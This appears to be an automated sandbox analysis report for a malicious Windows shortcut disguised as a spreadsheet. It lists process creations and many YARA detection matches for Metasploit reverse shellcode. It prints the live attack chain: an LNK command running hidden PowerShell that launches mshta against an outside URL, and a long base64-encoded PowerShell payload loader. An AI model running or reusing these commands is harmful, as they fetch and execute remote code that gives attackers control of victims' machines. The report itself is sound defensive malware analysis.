          Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEALwA2ADEAWABhADMATwBpAHoAQgBMACsASABIADgARgBIADEASwBsAFYAawB3AE8AeABNAHYAcQBuAGsAcgBWAEkAaABmAEYAQQBKAEcATABsADUAZwAzAGwAVQBJAFkARQBSAGsAQgBZAFIARABKAHUALwB2AGYAVAA0AE8AYQB6AFoANQBOAHoAdABtAHEAYwA2AHkAaQBIAEcAYQBtAHUANQA5ACsAcAByAHUAbgBNAFIAQwA1AE4AawBqAHMAMgBVAFEASgBIAFUAUgBkAFQAMQBHAGMAZQBHAEYAQQAzAFYAWQBxAGwAMQB2AEwAUgB4ADUASgBRAHUAcQBPACsAbABhAHQAcgBOAEwAQQBKAHMAVgBTAE0AWABoAHgARQBYAG0ASgA0AHQAQgArAHMAUgB3AG4AUgBrAGwAQwAvAFYAMgA1AEcARgB1AHgAdABhAFYAcQBsADMAcwByAGYAdABtAEcAVABvAHAAUgBnAHkAcABmAGkAbwAzAEkAUwBXAE4AVQB2ADcAaQBvAFgASgBSAFQAYQBaAEIAWQBLAC8AUQBTAFcATQBUAGIAbwA1AGMAdABJAHUAdgBRAFMAYwBCAFEANwBZAG0ATgBJAGoANwBjAFcAbAA3AHcALwBQAFUAcgBsADgAWQB4AEMAcwBqAHgALwBXAGEAQQBDAEoAcwBrAGEATAB2AEUASABrAHAAcQBkAGUAbwA3AE4AVgB1AGoARwBGADAALwBMAEQAZgBJAEoAdABUAGYAMQBPAFgATAB6AFEAQwBIAFMAdwB1AGYAdAB1AFcAYwBaAGEALwBCAEsAVABaAHcAaQBqAFUANQB0AEsAMwBDAGcAeABzAGoAdwBoADYAcABWAGYALwA2AHEAMQBwAC8AdQBtAGEAZQBiADQAUgBkAGEAdQBHAGsAVgBqAFgAeQBoAEsARAB0AGoAWQBOAHgAdABVADcAOQBxAEIAYwBHAHoAVAB4AEMAdABhAHIAaQAyAFgARwBZAGgAQwB0AHkATQAvAE8AQwA1AHUAMwBOAHAARQBTAHYAbAB1AEMAVgBJAC8AWgBxAC8AZQBTAFoARwAxAG4AZwB4ACsAZABPAEYAbABxAFAATQByAFUAcQBEAE0AZgBBAEQAWAB2AGsAcwBOAHEAZwBuAGcAcAA3AFQAOAAvAFAAMQBMAGMAMwBOAEgAbwBhAEUARwArAEwAYgBxAFMAQQBvAEQAaQBNAEQAQgBUAHYAUABSAHMAbABOADAATQByAGMARABEAFMAMABRAHIARQBxAGcAawBjAFkAZQBCAFcANgB3AEEAaQBSAGkAUwBOAEEAKwBxAE0AQgBlAFQAMgBvAFkAOQBxAGwAMABHAEsAYwBRAFAAMABQAHYAMgBwADMAdQBlAGEAaQByAEkAegB1AFgAOABxAFYASABzAHYAQgBMAHYARwBKAEsANAAzAFQAagBIAHgASgAzAFEAbwBaAGQAdwBjADEAWQBFADcAdgA2AEYALwBGADEAeAAxACsAUAAwAFcAWQBQAFgASwBqADgAbwBIAG8AZQBvAGcAagBGAHkATABvAEIAYwBDAC8ATAA2AEwAMQBjAHIARgB4AFYATQA1AFIATwBCAFAAYgBSAHcAbQBYAGkAbAAzAFIAOQBFAE4AUwBnAEUAUQBGAGcAbgBqAHYARABoAE8ATQAwADUAUgAvAGYAbgBuACsAUgB6AE4AbgBpAFcAVAB4AHEAZQBLAG0ATABQAFUAUwBlAFoANABQAEUAYwBjAGQAOQBUAFQATgBQAFMAYwA1ADgAcABGAHYAWABLAEsAbgBtAEwAKwBaAFoAbAA2ADIARQBGAHgAcwBmADUANQBOAHYAQgBvADUAUQBXAEkAegB3AE4AcgA2ADkAbgBuAGcASwA5ADkAZABHAFoAbwBoAFYASABKAHgAOAAxADUAbQB3AG8ANABhADkAWABUAEEAbgBMADQARQB6AHYAVgBnAHQAQwBuADMAOABXAEUAcgBVAGYAZQBaAFAAdABIAGMASwB3AE4ANQA1ADQAQQBLAGcAaQBKACsAcQA5AGcAagBtAGQAWQBxADAAcQBCAGcAcgBiAEEAMwAvAEUAZAB3AHYAUgB5AEIAVwBtAEcAegByAHQAUABxAFoAVwBmAHIAUgBmAHYAUgBTAHgAegAyAEUAcQBTAEIAagBWAE8ASQBjAC8AdABCAG0AVQBnAEMAeQBPAG4AUQBiAEYAQgA0AHAAMgBXADIASgBTAEUANQBiAEQANgBFADYANgBTAFkAdQBMAFoAVgBrAEwATwA2AHAANwByAEgAMQBCADYATQBzADIARgBBAFcAUgBNAGEAcwBQAHAAQQBnADIAbQBFAFMASABiAHMAMwBEAEIAUwBvAE0AYQBlAGcANwBxADUANABiAG4AbgBpAEYAVQBQACsAUwBFAHMAegBDAEcAbABBAE4ATgBlAHoAZwBUAG0AQwBtADQATQBFAGcAUgBNADcASABUACsAUABmADQAcQBOADgAWQBpAEUAagBiAEMASwBNAHQANwBDADYAcgBrAEkAZwB0AEYAMgByAE8ASwBhAFAASwBjAEwATgBjADUARgBUAC8AQQArAHgAegBuAGgAeQBUAG8AdQBEAHEAVAB
          Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEALwA2ADEAWABhADMATwBpAHoAQgBMACsASABIADgARgBIADEASwBsAFYAawB3AE8AeABNAHYAcQBuAGsAcgBWAEkAaABmAEYAQQBKAEcATABsADUAZwAzAGwAVQBJAFkARQBSAGsAQgBZAFIARABKAHUALwB2AGYAVAA0AE8AYQB6AFoANQBOAHoAdABtAHEAYwA2AHkAaQBIAEcAYQBtAHUANQA5ACsAcAByAHUAbgBNAFIAQwA1AE4AawBqAHMAMgBVAFEASgBIAFUAUgBkAFQAMQBHAGMAZQBHAEYAQQAzAFYAWQBxAGwAMQB2AEwAUgB4ADUASgBRAHUAcQBPACsAbABhAHQAcgBOAEwAQQBKAHMAVgBTAE0AWABoAHgARQBYAG0ASgA0AHQAQgArAHMAUgB3AG4AUgBrAGwAQwAvAFYAMgA1AEcARgB1AHgAdABhAFYAcQBsADMAcwByAGYAdABtAEcAVABvAHAAUgBnAHkAcABmAGkAbwAzAEkAUwBXAE4AVQB2ADcAaQBvAFgASgBSAFQAYQBaAEIAWQBLAC8AUQBTAFcATQBUAGIAbwA1AGMAdABJAHUAdgBRAFMAYwBCAFEANwBZAG0ATgBJAGoANwBjAFcAbAA3AHcALwBQAFUAcgBsADgAWQB4AEMAcwBqAHgALwBXAGEAQQBDAEoAcwBrAGEATAB2AEUASABrAHAAcQBkAGUAbwA3AE4AVgB1AGoARwBGADAALwBMAEQAZgBJAEoAdABUAGYAMQBPAFgATAB6AFEAQwBIAFMAdwB1AGYAdAB1AFcAYwBaAGEALwBCAEsAVABaAHcAaQBqAFUANQB0AEsAMwBDAGcAeABzAGoAdwBoADYAcABWAGYALwA2AHEAMQBwAC8AdQBtAGEAZQBiADQAUgBkAGEAdQBHAGsAVgBqAFgAeQBoAEsARAB0AGoAWQBOAHgAdABVADcAOQBxAEIAYwBHAHoAVAB4AEMAdABhAHIAaQAyAFgARwBZAGgAQwB0AHkATQAvAE8AQwA1AHUAMwBOAHAARQBTAHYAbAB1AEMAVgBJAC8AWgBxAC8AZQBTAFoARwAxAG4AZwB4ACsAZABPAEYAbABxAFAATQByAFUAcQBEAE0AZgBBAEQAWAB2AGsAcwBOAHEAZwBuAGcAcAA3AFQAOAAvAFAAMQBMAGMAMwBOAEgAbwBhAEUARwArAEwAYgBxAFMAQQBvAEQAaQBNAEQAQgBUAHYAUABSAHMAbABOADAATQByAGMARABEAFMAMABRAHIARQBxAGcAawBjAFkAZQBCAFcANgB3AEEAaQBSAGkAUwBOAEEAKwBxAE0AQgBlAFQAMgBvAFkAOQBxAGwAMABHAEsAYwBRAFAAMABQAHYAMgBwADMAdQBlAGEAaQByAEkAegB1AFgAOABxAFYASABzAHYAQgBMAHYARwBKAEsANAAzAFQAagBIAHgASgAzAFEAbwBaAGQAdwBjADEAWQBFADcAdgA2AEYALwBGADEAeAAxACsAUAAwAFcAWQBQAFgASwBqADgAbwBIAG8AZQBvAGcAagBGAHkATABvAEIAYwBDAC8ATAA2AEwAMQBjAHIARgB4AFYATQA1AFIATwBCAFAAYgBSAHcAbQBYAGkAbAAzAFIAOQBFAE4AUwBnAEUAUQBGAGcAbgBqAHYARABoAE8ATQAwADUAUgAvAGYAbgBuACsAUgB6AE4AbgBpAFcAVAB4AHEAZQBLAG0ATABQAFUAUwBlAFoANABQAEUAYwBjAGQAOQBUAFQATgBQAFMAYwA1ADgAcABGAHYAWABLAEsAbgBtAEwAKwBaAFoAbAA2ADIARQBGAHgAcwBmADUANQBOAHYAQgBvADUAUQBXAEkAegB3AE4AcgA2ADkAbgBuAGcASwA5ADkAZABHAFoAbwBoAFYASABKAHgAOAAxADUAbQB3AG8ANABhADkAWABUAEEAbgBMADQARQB6AHYAVgBnAHQAQwBuADMAOABXAEUAcgBVAGYAZQBaAFAAdABIAGMASwB3AE4ANQA1ADQAQQBLAGcAaQBKACsAcQA5AGcAagBtAGQAWQBxADAAcQBCAGcAcgBiAEEAMwAvAEUAZAB3AHYAUgB5AEIAVwBtAEcAegByAHQAUABxAFoAVwBmAHIAUgBmAHYAUgBTAHgAegAyAEUAcQBTAEIAagBWAE8ASQBjAC8AdABCAG0AVQBnAEMAeQBPAG4AUQBiAEYAQgA0AHAAMgBXADIASgBTAEUANQBiAEQANgBFADYANgBTAFkAdQBMAFoAVgBrAEwATwA2AHAANwByAEgAMQBCADYATQBzADIARgBBAFcAUgBNAGEAcwBQAHAAQQBnADIAbQBFAFMASABiAHMAMwBEAEIAUwBvAE0AYQBlAGcANwBxADUANABiAG4AbgBpAEYAVQBQACsAUwBFAHMAegBDAEcAbABBAE4ATgBlAHoAZwBUAG0AQwBtADQATQBFAGcAUgBNADcASABUACsAUABmADQAcQBOADgAWQBpAEUAagBiAEMASwBNAHQANwBDADYAcgBrAEkAZwB0AEYAMgByAE8ASwBhAFAASwBjAEwATgBjADUARgBUAC8AQQArAHgAegBuAGgAeQBUAG8AdQBEAHEAVABJump to behavior

          System Summary

          barindex
          Malicious sample detected (through community Yara rule)
          Source: amsi64_7540.amsi.csv, type: OTHERMatched rule: Metasploit Payloads - file msf-ref.ps1 Author: Florian Roth
          Source: amsi32_7812.amsi.csv, type: OTHERMatched rule: Metasploit Payloads - file msf-ref.ps1 Author: Florian Roth
          Source: dump.pcap, type: PCAPMatched rule: Detects hack tool used in Operation Wilted Tulip - Windows Tasks Author: Florian Roth
          Source: 00000006.00000002.1389765781.00000000077D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Shellcode_Generic_8c487e57 Author: unknown
          Source: 00000006.00000002.1389765781.00000000077D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Identifies the API address lookup function used by metasploit. Also used by other tools (like beacon). Author: unknown
          Source: 00000006.00000002.1389765781.00000000077D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Identifies metasploit wininet reverse shellcode. Also used by other tools (like beacon). Author: unknown
          Source: 00000003.00000002.2000051277.000001E1C2463000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Metasploit Payloads - file msf-ref.ps1 Author: Florian Roth
          Source: 00000002.00000002.2087634483.000001B94B52D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects hack tool used in Operation Wilted Tulip - Windows Tasks Author: Florian Roth
          Source: 00000003.00000002.2000051277.000001E1C0ADA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Metasploit Payloads - file msf-ref.ps1 Author: Florian Roth
          Source: 00000002.00000003.2077055407.000001B148943000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects hack tool used in Operation Wilted Tulip - Windows Tasks Author: Florian Roth
          Source: 00000003.00000002.2000051277.000001E1C2433000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Metasploit Payloads - file msf-ref.ps1 Author: Florian Roth
          Source: 00000003.00000002.1997538671.000001E1BE6F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects hack tool used in Operation Wilted Tulip - Windows Tasks Author: Florian Roth
          Source: 00000003.00000002.2000051277.000001E1C2482000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Metasploit Payloads - file msf-ref.ps1 Author: Florian Roth
          Source: 00000003.00000002.2000051277.000001E1C243E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Metasploit Payloads - file msf-ref.ps1 Author: Florian Roth
          Source: 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Shellcode_Generic_8c487e57 Author: unknown
          Source: 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Identifies the API address lookup function used by metasploit. Also used by other tools (like beacon). Author: unknown
          Source: 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Identifies metasploit wininet reverse shellcode. Also used by other tools (like beacon). Author: unknown
          Source: 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Metasploit Payloads - file msf-ref.ps1 Author: Florian Roth
          Source: 00000003.00000002.2000051277.000001E1C1878000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Metasploit Payloads - file msf-ref.ps1 Author: Florian Roth
          Source: Process Memory Space: mshta.exe PID: 7472, type: MEMORYSTRMatched rule: Detects hack tool used in Operation Wilted Tulip - Windows Tasks Author: Florian Roth
          Source: Process Memory Space: powershell.exe PID: 7540, type: MEMORYSTRMatched rule: Detects hack tool used in Operation Wilted Tulip - Windows Tasks Author: Florian Roth
          Source: Process Memory Space: powershell.exe PID: 7540, type: MEMORYSTRMatched rule: Metasploit Payloads - file msf-ref.ps1 Author: Florian Roth
          Source: Process Memory Space: powershell.exe PID: 7540, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
          Source: Process Memory Space: powershell.exe PID: 7812, type: MEMORYSTRMatched rule: Metasploit Payloads - file msf-ref.ps1 Author: Florian Roth
          Source: Process Memory Space: powershell.exe PID: 7812, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
          Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ecols[1].hta, type: DROPPEDMatched rule: Detects hack tool used in Operation Wilted Tulip - Windows Tasks Author: Florian Roth
          Windows shortcut file (LNK) contains suspicious command line arguments
          Source: ____ ______.xls.lnk.bin.lnkLNK file: -WindowStyle hidden -ExecutionPolicy Bypass -Command "Start-Process mshta -ArgumentList 'https://iplogger.cn/forensicsas.png'"
          Source: C:\Windows\System32\svchost.exeFile created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmpJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_077D00D76_2_077D00D7
          Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
          Source: C:\Windows\System32\mshta.exeProcess created: Commandline size = 7659
          Source: C:\Windows\System32\mshta.exeProcess created: Commandline size = 7659Jump to behavior
          Source: amsi64_7540.amsi.csv, type: OTHERMatched rule: Msfpayloads_msf_ref date = 2017-02-09, hash1 = 4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87, author = Florian Roth, description = Metasploit Payloads - file msf-ref.ps1, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: amsi32_7812.amsi.csv, type: OTHERMatched rule: Msfpayloads_msf_ref date = 2017-02-09, hash1 = 4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87, author = Florian Roth, description = Metasploit Payloads - file msf-ref.ps1, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: dump.pcap, type: PCAPMatched rule: WiltedTulip_WindowsTask date = 2017-07-23, hash5 = 984c7e1f76c21daf214b3f7e131ceb60c14abf1b0f4066eae563e9c184372a34, hash4 = 5046e7c28f5f2781ed7a63b0871f4a2b3065b70d62de7254491339e8fe2fa14a, hash3 = b6f515b3f713b70b808fc6578232901ffdeadeb419c9c4219fbfba417bba9f01, hash2 = 340cbbffbb7685133fc318fa20e4620ddf15e56c0e65d4cf1b2d606790d4425d, hash1 = c3cbe88b82cd0ea46868fb4f2e8ed226f3419fc6d4d6b5f7561e70f4cd33822c, author = Florian Roth, description = Detects hack tool used in Operation Wilted Tulip - Windows Tasks, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 00000006.00000002.1389765781.00000000077D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Shellcode_Generic_8c487e57 os = windows, severity = x86, creation_date = 2022-05-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Shellcode.Generic, fingerprint = 834caf96192a513aa93ac48fb8d2f3326bf9f08acaf7a27659f688b26e3e57e4, id = 8c487e57-4b8c-488e-a1d9-786ff935fd2c, last_modified = 2022-07-18
          Source: 00000006.00000002.1389765781.00000000077D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Metasploit_38b8ceec os = windows, severity = x86, description = Identifies the API address lookup function used by metasploit. Also used by other tools (like beacon)., creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 44b9022d87c409210b1d0807f5a4337d73f19559941660267d63cd2e4f2ff342, id = 38b8ceec-601c-4117-b7a0-74720e26bf38, last_modified = 2021-08-23
          Source: 00000006.00000002.1389765781.00000000077D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Metasploit_24338919 os = windows, severity = x86, description = Identifies metasploit wininet reverse shellcode. Also used by other tools (like beacon)., creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = ac76190a84c4bdbb6927c5ad84a40e2145ca9e76369a25ac2ffd727eefef4804, id = 24338919-8efe-4cf2-a23a-a3f22095b42d, last_modified = 2021-08-23
          Source: 00000003.00000002.2000051277.000001E1C2463000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Msfpayloads_msf_ref date = 2017-02-09, hash1 = 4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87, author = Florian Roth, description = Metasploit Payloads - file msf-ref.ps1, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 00000002.00000002.2087634483.000001B94B52D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: WiltedTulip_WindowsTask date = 2017-07-23, hash5 = 984c7e1f76c21daf214b3f7e131ceb60c14abf1b0f4066eae563e9c184372a34, hash4 = 5046e7c28f5f2781ed7a63b0871f4a2b3065b70d62de7254491339e8fe2fa14a, hash3 = b6f515b3f713b70b808fc6578232901ffdeadeb419c9c4219fbfba417bba9f01, hash2 = 340cbbffbb7685133fc318fa20e4620ddf15e56c0e65d4cf1b2d606790d4425d, hash1 = c3cbe88b82cd0ea46868fb4f2e8ed226f3419fc6d4d6b5f7561e70f4cd33822c, author = Florian Roth, description = Detects hack tool used in Operation Wilted Tulip - Windows Tasks, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 00000003.00000002.2000051277.000001E1C0ADA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Msfpayloads_msf_ref date = 2017-02-09, hash1 = 4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87, author = Florian Roth, description = Metasploit Payloads - file msf-ref.ps1, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 00000002.00000003.2077055407.000001B148943000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: WiltedTulip_WindowsTask date = 2017-07-23, hash5 = 984c7e1f76c21daf214b3f7e131ceb60c14abf1b0f4066eae563e9c184372a34, hash4 = 5046e7c28f5f2781ed7a63b0871f4a2b3065b70d62de7254491339e8fe2fa14a, hash3 = b6f515b3f713b70b808fc6578232901ffdeadeb419c9c4219fbfba417bba9f01, hash2 = 340cbbffbb7685133fc318fa20e4620ddf15e56c0e65d4cf1b2d606790d4425d, hash1 = c3cbe88b82cd0ea46868fb4f2e8ed226f3419fc6d4d6b5f7561e70f4cd33822c, author = Florian Roth, description = Detects hack tool used in Operation Wilted Tulip - Windows Tasks, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 00000003.00000002.2000051277.000001E1C2433000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Msfpayloads_msf_ref date = 2017-02-09, hash1 = 4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87, author = Florian Roth, description = Metasploit Payloads - file msf-ref.ps1, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 00000003.00000002.1997538671.000001E1BE6F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: WiltedTulip_WindowsTask date = 2017-07-23, hash5 = 984c7e1f76c21daf214b3f7e131ceb60c14abf1b0f4066eae563e9c184372a34, hash4 = 5046e7c28f5f2781ed7a63b0871f4a2b3065b70d62de7254491339e8fe2fa14a, hash3 = b6f515b3f713b70b808fc6578232901ffdeadeb419c9c4219fbfba417bba9f01, hash2 = 340cbbffbb7685133fc318fa20e4620ddf15e56c0e65d4cf1b2d606790d4425d, hash1 = c3cbe88b82cd0ea46868fb4f2e8ed226f3419fc6d4d6b5f7561e70f4cd33822c, author = Florian Roth, description = Detects hack tool used in Operation Wilted Tulip - Windows Tasks, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 00000003.00000002.2000051277.000001E1C2482000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Msfpayloads_msf_ref date = 2017-02-09, hash1 = 4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87, author = Florian Roth, description = Metasploit Payloads - file msf-ref.ps1, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 00000003.00000002.2000051277.000001E1C243E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Msfpayloads_msf_ref date = 2017-02-09, hash1 = 4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87, author = Florian Roth, description = Metasploit Payloads - file msf-ref.ps1, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Shellcode_Generic_8c487e57 os = windows, severity = x86, creation_date = 2022-05-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Shellcode.Generic, fingerprint = 834caf96192a513aa93ac48fb8d2f3326bf9f08acaf7a27659f688b26e3e57e4, id = 8c487e57-4b8c-488e-a1d9-786ff935fd2c, last_modified = 2022-07-18
          Source: 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Metasploit_38b8ceec os = windows, severity = x86, description = Identifies the API address lookup function used by metasploit. Also used by other tools (like beacon)., creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 44b9022d87c409210b1d0807f5a4337d73f19559941660267d63cd2e4f2ff342, id = 38b8ceec-601c-4117-b7a0-74720e26bf38, last_modified = 2021-08-23
          Source: 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Metasploit_24338919 os = windows, severity = x86, description = Identifies metasploit wininet reverse shellcode. Also used by other tools (like beacon)., creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = ac76190a84c4bdbb6927c5ad84a40e2145ca9e76369a25ac2ffd727eefef4804, id = 24338919-8efe-4cf2-a23a-a3f22095b42d, last_modified = 2021-08-23
          Source: 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Msfpayloads_msf_ref date = 2017-02-09, hash1 = 4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87, author = Florian Roth, description = Metasploit Payloads - file msf-ref.ps1, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 00000003.00000002.2000051277.000001E1C1878000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Msfpayloads_msf_ref date = 2017-02-09, hash1 = 4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87, author = Florian Roth, description = Metasploit Payloads - file msf-ref.ps1, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: Process Memory Space: mshta.exe PID: 7472, type: MEMORYSTRMatched rule: WiltedTulip_WindowsTask date = 2017-07-23, hash5 = 984c7e1f76c21daf214b3f7e131ceb60c14abf1b0f4066eae563e9c184372a34, hash4 = 5046e7c28f5f2781ed7a63b0871f4a2b3065b70d62de7254491339e8fe2fa14a, hash3 = b6f515b3f713b70b808fc6578232901ffdeadeb419c9c4219fbfba417bba9f01, hash2 = 340cbbffbb7685133fc318fa20e4620ddf15e56c0e65d4cf1b2d606790d4425d, hash1 = c3cbe88b82cd0ea46868fb4f2e8ed226f3419fc6d4d6b5f7561e70f4cd33822c, author = Florian Roth, description = Detects hack tool used in Operation Wilted Tulip - Windows Tasks, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: Process Memory Space: powershell.exe PID: 7540, type: MEMORYSTRMatched rule: WiltedTulip_WindowsTask date = 2017-07-23, hash5 = 984c7e1f76c21daf214b3f7e131ceb60c14abf1b0f4066eae563e9c184372a34, hash4 = 5046e7c28f5f2781ed7a63b0871f4a2b3065b70d62de7254491339e8fe2fa14a, hash3 = b6f515b3f713b70b808fc6578232901ffdeadeb419c9c4219fbfba417bba9f01, hash2 = 340cbbffbb7685133fc318fa20e4620ddf15e56c0e65d4cf1b2d606790d4425d, hash1 = c3cbe88b82cd0ea46868fb4f2e8ed226f3419fc6d4d6b5f7561e70f4cd33822c, author = Florian Roth, description = Detects hack tool used in Operation Wilted Tulip - Windows Tasks, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: Process Memory Space: powershell.exe PID: 7540, type: MEMORYSTRMatched rule: Msfpayloads_msf_ref date = 2017-02-09, hash1 = 4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87, author = Florian Roth, description = Metasploit Payloads - file msf-ref.ps1, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: Process Memory Space: powershell.exe PID: 7540, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
          Source: Process Memory Space: powershell.exe PID: 7812, type: MEMORYSTRMatched rule: Msfpayloads_msf_ref date = 2017-02-09, hash1 = 4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87, author = Florian Roth, description = Metasploit Payloads - file msf-ref.ps1, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: Process Memory Space: powershell.exe PID: 7812, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
